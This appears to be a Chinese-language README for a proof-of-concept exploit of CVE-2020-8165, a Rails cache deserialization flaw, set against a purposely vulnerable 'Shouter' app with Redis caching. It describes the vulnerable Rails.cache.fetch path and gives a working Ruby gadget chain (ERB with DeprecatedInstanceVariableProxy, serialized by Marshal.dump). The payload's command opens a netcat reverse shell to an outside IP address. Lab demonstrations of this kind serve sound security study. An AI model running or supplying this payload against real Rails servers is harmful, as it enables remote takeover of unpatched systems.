
针对CVE-2020-8165 Rails反序列化远程代码执行漏洞的演示,使用逼真的Shouter应用,在Ruby中生成载荷,以及Redis缓存投毒。
又一个 CVE-2020-8165 的演示,但采用了比大多数更真实的实现。
CVE-2020-8165
Rails < 5.2.4.3、Rails < 6.0.3.1 中存在一项反序列化不受信任数据的漏洞,可能允许攻击者在 MemCacheStore 和 RedisCacheStore 中解封用户提供的对象,从而导致远程代码执行。
“Shouter” 应用在其 Shout 模型中包含一个缓存功能,提交 shout 字符串时附带的可选图片会被缓存在 redis 中,并从缓存中获取而非数据库。由于使用了存在漏洞的 Rails.cache.fetch 方法与缓存交互,该应用易受 CVE-2020-8165 攻击,RCE 的结果会被放入仪表板路由中 img 标签的 src 属性中。
以下代码片段将生成你需要通过 exploit.py 发送的 payload。序列化步骤中存在一些细微差别,需要解决才能完全用 Python 实现漏洞利用。因此,目前需要使用 Ruby 中的 Marshal.dump 来生成精确的 payload。
cmd = "Thread.new{system('nc 172.17.188.169 3001 -e /bin/bash')}"
erb = ERB.allocate
erb.instance_variable_set(:@src, cmd)
erb.instance_variable_set(:@lineno, 0)
payload_raw = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result)
payload = Marshal.dump(payload_raw)
p payload